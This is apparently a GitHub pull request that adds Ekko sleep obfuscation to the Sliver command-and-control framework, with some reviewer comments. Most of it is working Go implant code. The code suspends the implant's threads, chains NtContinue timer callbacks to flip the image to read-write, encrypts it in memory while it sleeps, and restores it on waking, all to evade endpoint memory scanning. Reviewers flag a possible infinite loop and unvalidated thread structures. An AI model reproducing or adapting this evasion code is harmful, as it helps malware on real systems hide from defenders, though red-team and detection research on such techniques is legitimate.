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Add Ekko / Sleep Obfuscation to Sliver #1805

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1 change: 1 addition & 0 deletions client/command/generate/commands.go
Original file line number Diff line number Diff line change
@@ -307,6 +307,7 @@ func coreImplantFlags(name string, cmd *cobra.Command) {
f.BoolP("evasion", "e", false, "enable evasion features (e.g. overwrite user space hooks)")
f.BoolP("skip-symbols", "l", false, "skip symbol obfuscation")
f.BoolP("disable-sgn", "G", false, "disable shikata ga nai shellcode encoder")
f.BoolP("sleep-obfuscation", "B", false, "apply ekko in-memory sleep obfuscation")
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This should probably be in coreBeaconFlags instead since sleep obfuscation is only relevant for beacons (unless I'm mistaken, feel free to correct me).


f.StringP("canary", "c", "", "canary domain(s)")

2 changes: 2 additions & 0 deletions client/command/generate/generate.go
Original file line number Diff line number Diff line change
@@ -272,6 +272,7 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
debug, _ := cmd.Flags().GetBool("debug")
evasion, _ := cmd.Flags().GetBool("evasion")
templateName, _ := cmd.Flags().GetString("template")
sleepObfuscation, _ := cmd.Flags().GetBool("sleep-obfuscation")
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Same idea, please move this to generate-beacon.go instead.


reconnectInterval, _ := cmd.Flags().GetInt64("reconnect")
pollTimeout, _ := cmd.Flags().GetInt64("poll-timeout")
@@ -370,6 +371,7 @@ func parseCompileFlags(cmd *cobra.Command, con *console.SliverClient) (string, *
Debug: debug,
Evasion: evasion,
SGNEnabled: sgnEnabled,
SleepObfuscation: sleepObfuscation,
ObfuscateSymbols: symbolObfuscation,
C2: c2s,
CanaryDomains: canaryDomains,
10 changes: 10 additions & 0 deletions client/command/generate/profiles.go
Original file line number Diff line number Diff line change
@@ -171,6 +171,12 @@ func populateProfileProperties(config *clientpb.ImplantConfig) map[string]string
properties["sgn"] = "disabled"
}

if config.SleepObfuscation {
properties["sleepobf"] = "enabled"
} else {
properties["sleepobf"] = "disabled"
}

reconnect := int(config.ReconnectInterval / int64(math.Pow10(9)))
if reconnect == 1 {
plural = ""
@@ -314,6 +320,10 @@ func PrintProfileInfo(name string, con *console.SliverClient) {
"Shikata Ga Nai (SGN) is",
properties["sgn"],
})
tw.AppendRow(table.Row{
"Sleep obfuscation (Ekko) is",
properties["sleepobf"],
})

con.PrintInfof("Obfuscation\n")
con.Printf("%s\n\n", tw.Render())
5 changes: 5 additions & 0 deletions implant/sliver/ekko/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
## ekko / Sliver

An adapted version of https://github.com/scriptchildie/goEkko, a golang implementation of the original https://github.com/Cracked5pider/Ekko.

It allows for the memory region of the beacon to be encrypted while the beacon is sleeping.
243 changes: 243 additions & 0 deletions implant/sliver/ekko/ekko.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,243 @@
package ekko

import (
"fmt"
"log"
"syscall"
"unsafe"

"golang.org/x/sys/windows"
)

const (
WT_EXECUTEINTIMERTHREAD = 0x00000020
ThreadQuerySetWin32StartAddress = 0x9
)

var (
// kernel32
kernel32dll = syscall.NewLazyDLL("kernel32.dll")
procSuspendThread = kernel32dll.NewProc("SuspendThread")
procResumeThread = kernel32dll.NewProc("ResumeThread")
procGetModuleHandleA = kernel32dll.NewProc("GetModuleHandleA")
procCreateEventW = kernel32dll.NewProc("CreateEventW")
procCreateTimerQueue = kernel32dll.NewProc("CreateTimerQueue")
procCreateTimerQueueTimer = kernel32dll.NewProc("CreateTimerQueueTimer")
procRtlCaptureContext = kernel32dll.NewProc("RtlCaptureContext")
procVirtualProtect = kernel32dll.NewProc("VirtualProtect")
procWaitForSingleObject = kernel32dll.NewProc("WaitForSingleObject")
procSetEvent = kernel32dll.NewProc("SetEvent")
procDeleteTimerQueue = kernel32dll.NewProc("DeleteTimerQueue")

//ntdll
ntdll = syscall.NewLazyDLL("ntdll.dll")
procNtContinue = ntdll.NewProc("NtContinue")
procNtQueryInformationThread = ntdll.NewProc("NtQueryInformationThread")

//Advapi32
Advapi32dll = syscall.NewLazyDLL("Advapi32.dll")
procSystemFunction032 = Advapi32dll.NewProc("SystemFunction032")
)

func EkkoSleep(sleepTime uint64) error {

currentProcessID := uint32(windows.GetCurrentProcessId())
fmt.Printf("Current Process ID: %d\n", currentProcessID)

// Take a snapshot of all running threads in the system
hThreadSnapshot, err := windows.CreateToolhelp32Snapshot(windows.TH32CS_SNAPTHREAD, 0)
if err != nil {
return err
}
defer windows.CloseHandle(hThreadSnapshot)

var te32 windows.ThreadEntry32
te32.Size = uint32(unsafe.Sizeof(te32))

// Retrieve information about the first thread in the snapshot
err = windows.Thread32First(hThreadSnapshot, &te32)
if err != nil {
return err
}

fmt.Println("[+] Suspending Threads")
for {
if te32.OwnerProcessID == currentProcessID {

if windows.GetCurrentThreadId() != te32.ThreadID {
//fmt.Println(te32.ThreadID)

hThread, err := windows.OpenThread(0xFFFF, false, te32.ThreadID)
if err != nil {
continue
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Doesn't this create potential for an infinite loop?

E.g. we snapshot, one of the threads was short-lived and is no longer valid when we attempt to call OpenThread on it, error occurs and we loop to reattempt opening the same invalid thread ID.

Also, this code doesn't validate the size of the thread structure from the Thread32* calls, which as documented may be less than the total size of the structure (and may risk providing us with an invalid ThreadID)

}
defer windows.CloseHandle(hThread)
var dwStartAddress, size uintptr
procNtQueryInformationThread.Call(uintptr(hThread), ThreadQuerySetWin32StartAddress, uintptr(unsafe.Pointer(&dwStartAddress)), unsafe.Sizeof(dwStartAddress), uintptr(unsafe.Pointer(&size)))

ImageBase, _, _ := procGetModuleHandleA.Call(uintptr(0))
e_lfanew := *((*uint32)(unsafe.Pointer(ImageBase + 0x3c)))
nt_header := (*IMAGE_NT_HEADERS64)(unsafe.Pointer(ImageBase + uintptr(e_lfanew)))
ImageEndAddress := ImageBase + uintptr(nt_header.OptionalHeader.SizeOfImage)

if dwStartAddress >= ImageBase && dwStartAddress <= ImageEndAddress {
procSuspendThread.Call(uintptr(hThread))
} else {
goto nextThread
}

}
}

// Retrieve information about the next thread in the snapshot
nextThread:
err = windows.Thread32Next(hThreadSnapshot, &te32)
if err != nil {
break // No more threads
}
}

fmt.Println("[+] Threads Suspended")

te32.Size = uint32(unsafe.Sizeof(te32))
err = windows.Thread32First(hThreadSnapshot, &te32)
if err != nil {
return err
}

err = ekko(sleepTime)
if err != nil {
fmt.Printf("[ERROR] Ekko Sleep failed %v\n", err)
}
error2 := err

fmt.Println("[+] Resume Suspended Threads")

// resume threads
for {
if te32.OwnerProcessID == currentProcessID {

if windows.GetCurrentThreadId() != te32.ThreadID {
//fmt.Println(te32.ThreadID)

hThread, err := windows.OpenThread(0xFFFF, false, te32.ThreadID)
if err != nil {
continue

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Same infinite loop issue here right?

}
defer windows.CloseHandle(hThread)

procResumeThread.Call(uintptr(hThread))

}
}

// Retrieve information about the next thread in the snapshot
err = windows.Thread32Next(hThreadSnapshot, &te32)
if err != nil {
break // No more threads
}
}

fmt.Println("Suspended Threads resumed")
if error2 != nil {
return error2
}
return nil
}

func ekko(sleepTime uint64) error {

var CtxThread CONTEXT
var RopProtRW CONTEXT
var RopMemEnc CONTEXT
var RopDelay CONTEXT
var RopMemDec CONTEXT
var RopProtRX CONTEXT
var RopSetEvt CONTEXT

keybuf := [16]uint8{0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55}

var Key, Img UString

ImageBase, _, _ := procGetModuleHandleA.Call(uintptr(0))
e_lfanew := *((*uint32)(unsafe.Pointer(ImageBase + 0x3c)))
nt_header := (*IMAGE_NT_HEADERS64)(unsafe.Pointer(ImageBase + uintptr(e_lfanew)))

hEvent, _, _ := procCreateEventW.Call(0, 0, 0, 0)
var hNewTimer, hTimerQueue uintptr
hTimerQueue, _, _ = procCreateTimerQueue.Call()

Img.Buffer = (*byte)(unsafe.Pointer(ImageBase))
Img.Length = nt_header.OptionalHeader.SizeOfImage

Key.Buffer = &keybuf[0]
Key.Length = uint32(unsafe.Sizeof(Key))

procCreateTimerQueueTimer.Call(uintptr(unsafe.Pointer(&hNewTimer)), hTimerQueue, procRtlCaptureContext.Addr(), uintptr(unsafe.Pointer(&CtxThread)), 0, 0, WT_EXECUTEINTIMERTHREAD)
windows.WaitForSingleObject(windows.Handle(hEvent), 0x100)
//fmt.Println(CtxThread)

if CtxThread.Rip == 0 {
log.Fatalln()
}
RopProtRW = CtxThread
RopMemEnc = CtxThread
RopDelay = CtxThread
RopMemDec = CtxThread
RopProtRX = CtxThread
RopSetEvt = CtxThread

var OldProtect uint64
RopProtRW.Rsp -= 8
RopProtRW.Rip = uint64(procVirtualProtect.Addr())
RopProtRW.Rcx = uint64(ImageBase)
RopProtRW.Rdx = uint64(nt_header.OptionalHeader.SizeOfImage)
RopProtRW.R8 = windows.PAGE_READWRITE
RopProtRW.R9 = uint64(uintptr(unsafe.Pointer(&OldProtect)))
//fmt.Printf("\n[DEBUG] VirtualProtect: \n RIP: %x \n RCX: %x\n RDX: %x\n R8: %x\n R9: %x\n", RopProtRW.Rip, RopProtRW.Rcx, RopProtRW.Rdx, RopProtRW.R8, RopProtRW.R9)

RopMemEnc.Rsp -= 8
RopMemEnc.Rip = uint64(procSystemFunction032.Addr())
RopMemEnc.Rcx = uint64(uintptr(unsafe.Pointer(&Img)))
RopMemEnc.Rdx = uint64(uintptr(unsafe.Pointer(&Key)))
//fmt.Printf("\n[DEBUG] SystemFunction032: \n RIP: %x \n RCX: %x\n RDX: %x\n R8: %x\n R9: %x\n", RopMemEnc.Rip, RopMemEnc.Rcx, RopMemEnc.Rdx, 0, 0)

RopDelay.Rsp -= 8
RopDelay.Rip = uint64(procWaitForSingleObject.Addr())
RopDelay.Rcx = uint64(windows.CurrentProcess())
RopDelay.Rdx = sleepTime
//fmt.Printf("\n[DEBUG] WaitForSingleObject: \n RIP: %x \n RCX: %x\n RDX: %x\n R8: %x\n R9: %x\n", RopDelay.Rip, RopDelay.Rcx, RopDelay.Rdx, 0, 0)

RopMemDec.Rsp -= 8
RopMemDec.Rip = uint64(procSystemFunction032.Addr())
RopMemDec.Rcx = uint64(uintptr(unsafe.Pointer(&Img)))
RopMemDec.Rdx = uint64(uintptr(unsafe.Pointer(&Key)))
//fmt.Printf("\n[DEBUG] SystemFunction032: \n RIP: %x \n RCX: %x\n RDX: %x\n R8: %x\n R9: %x\n", RopMemDec.Rip, RopMemDec.Rcx, RopMemDec.Rdx, 0, 0)

RopProtRX.Rsp -= 8
RopProtRX.Rip = uint64(procVirtualProtect.Addr())
RopProtRX.Rcx = uint64(ImageBase)
RopProtRX.Rdx = uint64(nt_header.OptionalHeader.SizeOfImage)
RopProtRX.R8 = windows.PAGE_EXECUTE_READWRITE
RopProtRX.R9 = uint64(uintptr(unsafe.Pointer(&OldProtect)))
//fmt.Printf("\n[DEBUG] VirtualProtect: \n RIP: %x \n RCX: %x\n RDX: %x\n R8: %x\n R9: %x\n", RopProtRX.Rip, RopProtRX.Rcx, RopProtRX.Rdx, RopProtRX.R8, RopProtRX.R9)

// SetEvent( hEvent );
RopSetEvt.Rsp -= 8
RopSetEvt.Rip = uint64(procSetEvent.Addr())
RopSetEvt.Rcx = uint64(hEvent)

procCreateTimerQueueTimer.Call(uintptr(unsafe.Pointer(&hNewTimer)), hTimerQueue, procNtContinue.Addr(), uintptr(unsafe.Pointer(&RopProtRW)), 100, 0, WT_EXECUTEINTIMERTHREAD)
procCreateTimerQueueTimer.Call(uintptr(unsafe.Pointer(&hNewTimer)), hTimerQueue, procNtContinue.Addr(), uintptr(unsafe.Pointer(&RopMemEnc)), 200, 0, WT_EXECUTEINTIMERTHREAD)
procCreateTimerQueueTimer.Call(uintptr(unsafe.Pointer(&hNewTimer)), hTimerQueue, procNtContinue.Addr(), uintptr(unsafe.Pointer(&RopDelay)), 300, 0, WT_EXECUTEINTIMERTHREAD)
procCreateTimerQueueTimer.Call(uintptr(unsafe.Pointer(&hNewTimer)), hTimerQueue, procNtContinue.Addr(), uintptr(unsafe.Pointer(&RopMemDec)), 400, 0, WT_EXECUTEINTIMERTHREAD)
procCreateTimerQueueTimer.Call(uintptr(unsafe.Pointer(&hNewTimer)), hTimerQueue, procNtContinue.Addr(), uintptr(unsafe.Pointer(&RopProtRX)), 500, 0, WT_EXECUTEINTIMERTHREAD)
procCreateTimerQueueTimer.Call(uintptr(unsafe.Pointer(&hNewTimer)), hTimerQueue, procNtContinue.Addr(), uintptr(unsafe.Pointer(&RopSetEvt)), 600, 0, WT_EXECUTEINTIMERTHREAD)

fmt.Printf("[+] Encrypt and sleep for %d ms\n", sleepTime)
windows.WaitForSingleObject(windows.Handle(hEvent), windows.INFINITE)
procDeleteTimerQueue.Call(hTimerQueue)
fmt.Println("[+] Decrypted and awake")

return nil
}
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